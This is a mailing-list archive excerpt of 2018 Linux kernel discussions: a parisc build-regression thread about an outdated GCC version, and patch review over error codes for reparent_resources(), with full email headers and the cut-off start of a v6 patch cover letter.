 izKkC6bbhVsdWG3ZM/QdnipOzgol1gHZWjN7Emeup3pI3OSmd2ghHzlwCQ6arQMNX9d5Q7Dvg
 fi1zk0iINbhH0Cv8gJMzzA95hOsAyBVckmyNeVJgPkjLSlX0xe1v3XqD0k2Zq/4lmIMPFHDw 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2809791 gmane.linux.ports.parisc:28709
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2809791>

On 03.07.2018 03:09, Michael Ellerman wrote:
> Helge Deller <deller@gmx.de> writes:
> 
>> On 02.07.2018 16:09, Geert Uytterhoeven wrote:
>>> On Mon, Jul 2, 2018 at 4:01 PM Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>>>> JFYI, when comparing v4.18-rc3[1] to v4.18-rc2[3], the summaries are:
>>> ...
>>
>> Both of the following are simply happening because of old compiler which is being used:
>>
>>>> [Deleted 26903 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]
> 
> It's GCC 4.6.3. Are you saying that's not supported anymore?
> 
> I can update to 8.1.0 if that's more useful.

Yes, please.
Any version >= 7.2.1 should be better.

Helge


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.18-rc3
Date: Tue, 3 Jul 2018 09:22:33 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <74980be1-0684-09ef-9e31-cb8f0db13139@bell.net>
References: <20180702140050.1660-1-geert@linux-m68k.org>
 <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com>
 <1fa6b973-33e7-53f8-75bb-92d1e8932813@gmx.de>
 <87601xgm6a.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530624607 22875 195.159.176.226 (3 Jul 2018 13:30:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jul 2018 13:30:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.8.0
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 03 15:30:03 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faLNa-0005rX-6D
	for glk-linux-kernel-4@m.gmane.org; Tue, 03 Jul 2018 15:30:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753428AbeGCNcK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 3 Jul 2018 09:32:10 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:60861 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752508AbeGCNcJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 3 Jul 2018 09:32:09 -0400
X-Greylist: delayed 576 seconds by postgrey-1.27 at vger.kernel.org; Tue, 03 Jul 2018 09:32:09 EDT
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20180703132232.VMDW10498.mtlfep01.bell.net@mtlspm02.bell.net>;
          Tue, 3 Jul 2018 09:22:32 -0400
Original-Received: from [192.168.0.138] (really [76.69.63.211]) by mtlspm02.bell.net
          with ESMTP
          id <20180703132232.QMHW6415.mtlspm02.bell.net@[192.168.0.138]>;
          Tue, 3 Jul 2018 09:22:32 -0400
In-Reply-To: <87601xgm6a.fsf@concordia.ellerman.id.au>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0 a=W8V8PKhHyJD+HXwBaZ+/FA==:17 a=IkcTkHD0fZMA:10 a=R9QF1RCXAYgA:10 a=mDV3o1hIAAAA:8 a=FBHGMhGWAAAA:8 a=WIMuH9iB4f1ny0LeIgcA:9 a=QEXdDO2ut3YA:10 a=ATlVsGG5QSsA:10 a=_FVE-zBwftR9WsbkzFJk:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2810247 gmane.linux.ports.parisc:28710
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2810247>

On 2018-07-02 9:09 PM, Michael Ellerman wrote:
> It's GCC 4.6.3. Are you saying that's not supported anymore?
See <https://gcc.gnu.org/> for supported releases.

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 3 Jul 2018 22:55:03 +0800
Lines: 66
Approved: news@gmane.org
Message-ID: <20180703145503.GA1225@MiWiFi-R3L-srv>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
 <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
 <20180612093812.GC1820@MiWiFi-R3L-srv>
 <CAHp75Vf_kBLkE6v=JyOdfNoWktWEfKs7JzRP1XEc4TeuT5xqfw@mail.gmail.com>
 <CAHp75Vdaqj+n=F7wSB9PFGpf9Ok2XZzKcq_H0DzmtjmN-4UUfw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530629596 21657 195.159.176.226 (3 Jul 2018 14:53:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jul 2018 14:53:16 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Josh Triplett <josh@joshtri
To: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jul 03 16:53:07 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faMfx-0005PO-7e
	for gln-linux-nvdimm@m.gmane.org; Tue, 03 Jul 2018 16:53:05 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id D8D79210F30C9;
	Tue,  3 Jul 2018 07:55:15 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id C7A8A209605AD
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  3 Jul 2018 07:55:13 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx06.intmail.prod.int.rdu2.redhat.com
 [10.11.54.6])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 20838857AB;
 Tue,  3 Jul 2018 14:55:12 +0000 (UTC)
Original-Received: from localhost (ovpn-8-17.pek2.redhat.com [10.72.8.17])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id D936A2156880;
 Tue,  3 Jul 2018 14:55:05 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAHp75Vdaqj+n=F7wSB9PFGpf9Ok2XZzKcq_H0DzmtjmN-4UUfw-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.6
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.2]); Tue, 03 Jul 2018 14:55:12 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.2]);
 Tue, 03 Jul 2018 14:55:12 +0000 (UTC) for IP:'10.11.54.6'
 DOMAIN:'int-mx06.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10593 gmane.linux.drivers.devicetree:277584 gmane.linux.kernel.pci:73713 gmane.linux.kernel.input:61874 gmane.linux.ports.parisc:28711 gmane.linux.kernel.kexec:21063 gmane.linux.kernel:2810330 gmane.linux.ports.ppc64.devel:159558
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10593>

Hi Andy,

On 06/12/18 at 05:24pm, Andy Shevchenko wrote:
> On Tue, Jun 12, 2018 at 5:20 PM, Andy Shevchenko
> <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:
> >> Hmm, I just copied it from arch/powerpc/kernel/pci-common.c. The
> >> function interface expects an integer returned value, not sure what a
> >> real error codes look like, could you give more hints? Will change
> >> accordingly.
> >
> > I briefly looked at the code and error codes we have, so, my proposal
> > is one of the following
> 
> >  - use -ECANCELED (not the best choice for first occurrence here,
> > though I can't find better)
> 
> Actually -ENOTSUPP might suit the first case (although the actual
> would be something like -EOVERLAP, which we don't have)

Sorry for late reply, and many thanks for your great suggestion.

I am fine to use -ENOTSUPP as the first returned value, and -ECANCELED
for the 2nd one. Or define an enum as you suggested inside the function
or in header file.

Or use -EBUSY for the first case because existing resource is
overlapping but not fully contained by 'res'; and -EINVAL for
the 2nd case since didn't find any one resources which is contained by
'res', means we passed in a invalid resource. 

All is fine to me, I can repost with each of them.

Thanks
Baoquan

> 
> >  - use positive integers (or enum), like
> >   #define RES_REPARENTED 0
> >   #define RES_OVERLAPPED 1
> >   #define RES_NOCONFLICT 2
> >
> >
> >>> > +               if (firstpp == NULL)
> >>> > +                       firstpp = pp;
> >>> > +       }
> >>>
> >>> > +       if (firstpp == NULL)
> >>> > +               return -1;      /* didn't find any conflicting entries? */
> >>>
> >>> Ditto.
> >
> > Ditto.
> >
> >>>
> >>> > +}
> >>> > +EXPORT_SYMBOL(reparent_resources);
> >
> > --
> > With Best Regards,
> > Andy Shevchenko
> 
> 
> 
> -- 
> With Best Regards,
> Andy Shevchenko

From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.hardware.nvdimm,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 3 Jul 2018 23:57:48 +0300
Lines: 41
Approved: news@gmane.org
Message-ID: <CAHp75VeEjhcYF4Fy4O_srdv_nEGGjGwAHhZufscB_tiLQVQ=FQ@mail.gmail.com>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
 <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
 <20180612093812.GC1820@MiWiFi-R3L-srv>
 <CAHp75Vf_kBLkE6v=JyOdfNoWktWEfKs7JzRP1XEc4TeuT5xqfw@mail.gmail.com>
 <CAHp75Vdaqj+n=F7wSB9PFGpf9Ok2XZzKcq_H0DzmtjmN-4UUfw@mail.gmail.com>
 <20180703145503.GA1225@MiWiFi-R3L-srv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530651355 20678 195.159.176.226 (3 Jul 2018 20:55:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jul 2018 20:55:55 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, brijesh.singh@amd.com,
 devicetree <devicetree@vger.kernel.org>, David Airlie <airlied@linux.ie>,
 linux-pci@vger.kernel.org, richard.weiyang@gmail.com,
 Keith Busch <keith.busch@intel.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, baiyaowei@cmss.chinamobile.com,
 Frank Rowand <frowand.list@gmail.com>, Dan Williams <dan.j.williams@intel.com>,
 Lorenzo Pieralisi <lorenzo.pieralisi@arm.com>,
 Stephen Hemminger <sthemmin@microsoft.com>, linux-nvdimm@lists.01.org,
 Michael Ellerman <mpe@ellerman.id.au>,
 Patrik Jakobsson <patrik.r.jakobsson@gmail.com>,
 linux-input <linux-input@vger.kernel.org>,
 Gustavo Padovan <gustavo@padovan.org>, Borislav Petkov <bp@suse.de>,
 Dave Young <dyoung@redhat.com>, Vivek Goyal <vgoyal@redhat.com>,
 Tom Lendacky <thomas.lendacky@amd.com>, Haiyang Zhang <haiyangz@microsoft.com>,
 Maarten
To: Baoquan He <bhe@redhat.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Tue Jul 03 22:55:46 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp3.osuosl.org ([140.211.166.136] helo=silver.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1faSKt-00055n-En
	for glddd-devel@m.gmane.org; Tue, 03 Jul 2018 22:55:43 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by silver.osuosl.org (Postfix) with ESMTP id 584EC2E8B1;
	Tue,  3 Jul 2018 20:57:53 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MPP8NjmNmsaP; Tue,  3 Jul 2018 20:57:52 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by silver.osuosl.org (Postfix) with ESMTP id 8FDD02E5CF;
	Tue,  3 Jul 2018 20:57:52 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id 4F72A1C2286
 for <devel@linuxdriverproject.org>; Tue,  3 Jul 2018 20:57:51 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 4C21F87E7E
 for <devel@linuxdriverproject.org>; Tue,  3 Jul 2018 20:57:51 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id sQHcW7G4xUcH for <devel@linuxdriverproject.org>;
 Tue,  3 Jul 2018 20:57:50 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-vk0-f65.google.com (mail-vk0-f65.google.com
 [209.85.213.65])
 by fraxinus.osuosl.org (Postfix) with ESMTPS id 886FC87E7B
 for <devel@linuxdriverproject.org>; Tue,  3 Jul 2018 20:57:50 +0000 (UTC)
Original-Received: by mail-vk0-f65.google.com with SMTP id y9-v6so1911291vky.3
 for <devel@linuxdriverproject.org>; Tue, 03 Jul 2018 13:57:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=DkKvdNFEBjXKwf2SwO/ZcH8FvG6I4HKAE/+nQa4GYgc=;
 b=SOV3Iz3i6K8mrXE0vZRgT+BBfYeJLLfhYI8qpU378mM9eQEW3z8rWiEDE5zvstgHzr
 LGEm2IkDSDnufYxNHhmyJzzEziQYWXe9/qaFrPLCcagxVtaXMyss/KXl0ss0vCayxUSj
 KaDVqha4ysOBJ6jaq83cvzwU0BVmGzU8V6JJOqxhOvgjb0GwS/SFl1aePTJqIJx4JpSf
 LZfkE1UIvYFxtH+Rovb69dcwlvV0QC+in+olCPaZvP5U5G+jApPfYyaLGoBDukN5aPlL
 KOTRn839sWkYELD7IlBQN6HgkqbAhYkyJq/7p+//pPOuZu+s1VDMWskcQJE8+2yFJpK9
 Nr9w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=DkKvdNFEBjXKwf2SwO/ZcH8FvG6I4HKAE/+nQa4GYgc=;
 b=NQFfjumdnmM+EKnZChWMNBNETkJhj6sxCNBJFwvUGUJrtoaTO1y0gP7AwCLy47HuCE
 MRHv53wYHgXedFKuodIccvK8di7vFp/aQvWcSgfTX8DCli+0q4Yh2wZv9Q1taz6mDD7k
 +A30zFIZWy5jsLpD9KmHm9sYYwfBhiToTGQcS7399Czbg9Io55JQrhIlQlTm9wuS/MDo
 IXV212FIONlRpe0tV11YMBszg1RrDmkAahWb6qVSD40nQ/M/d5Rc7eeyWoF3Uf5PtpEk
 0vx8wshVrDV8BaCOSep1J2OuwMWBg5Mk9oDwwfZgftH6a5MzCx/FU7QSwTCTgopFjwfe
 Gk1g==
X-Gm-Message-State: APt69E2lDJaQzrT7QYsPJzd+Dcni4M04jLDaFDyZUroXfDGpT9/tWGnZ
 joYSP9dwQ166od1UMIPizPyK9JSPIbxoMDPhpm4=
X-Google-Smtp-Source: AAOMgpfTjNLXYdHhA/1EhJolsMQawf2fcYVvKA1lKnF+set0CN9QU7GHwdVKaDpsIFtrfE7+YgiFvRMfjBlhSe2fJQA=
X-Received: by 2002:a1f:6dc4:: with SMTP id
 i187-v6mr4034257vkc.131.1530651469352; 
 Tue, 03 Jul 2018 13:57:49 -0700 (PDT)
Original-Received: by 2002:a67:2149:0:0:0:0:0 with HTTP;
 Tue, 3 Jul 2018 13:57:48 -0700 (PDT)
In-Reply-To: <20180703145503.GA1225@MiWiFi-R3L-srv>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:119666 gmane.linux.drivers.devicetree:277632 gmane.linux.kernel.pci:73726 gmane.linux.hardware.nvdimm:10598 gmane.linux.kernel.input:61875 gmane.linux.ports.parisc:28712 gmane.linux.kernel.kexec:21072 gmane.linux.kernel:2810743 gmane.linux.ports.ppc64.devel:159574
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/119666>

On Tue, Jul 3, 2018 at 5:55 PM, Baoquan He <bhe@redhat.com> wrote:
> On 06/12/18 at 05:24pm, Andy Shevchenko wrote:
>> On Tue, Jun 12, 2018 at 5:20 PM, Andy Shevchenko
>> <andy.shevchenko@gmail.com> wrote:

>> > I briefly looked at the code and error codes we have, so, my proposal
>> > is one of the following
>>
>> >  - use -ECANCELED (not the best choice for first occurrence here,
>> > though I can't find better)
>>
>> Actually -ENOTSUPP might suit the first case (although the actual
>> would be something like -EOVERLAP, which we don't have)
>
> Sorry for late reply, and many thanks for your great suggestion.
>

> I am fine to use -ENOTSUPP as the first returned value, and -ECANCELED
> for the 2nd one.

I have no strong opinion, but I like (slightly better) this approach ^^^

> Or define an enum as you suggested inside the function
> or in header file.

>
> Or use -EBUSY for the first case because existing resource is
> overlapping but not fully contained by 'res'; and -EINVAL for
> the 2nd case since didn't find any one resources which is contained by
> 'res', means we passed in a invalid resource.
>
> All is fine to me, I can repost with each of them.

>> >  - use positive integers (or enum), like
>> >   #define RES_REPARENTED 0
>> >   #define RES_OVERLAPPED 1
>> >   #define RES_NOCONFLICT 2

-- 
With Best Regards,
Andy Shevchenko

From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v6 0/4] resource: Use list_head to link sibling resource
Date: Wed,  4 Jul 2018 12:10:34 +0800
Lines: 103
Approved: news@gmane.org
Message-ID: <20180704041038.8190-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530677341 15903 195.159.176.226 (4 Jul 2018 04:09:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:09:01 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
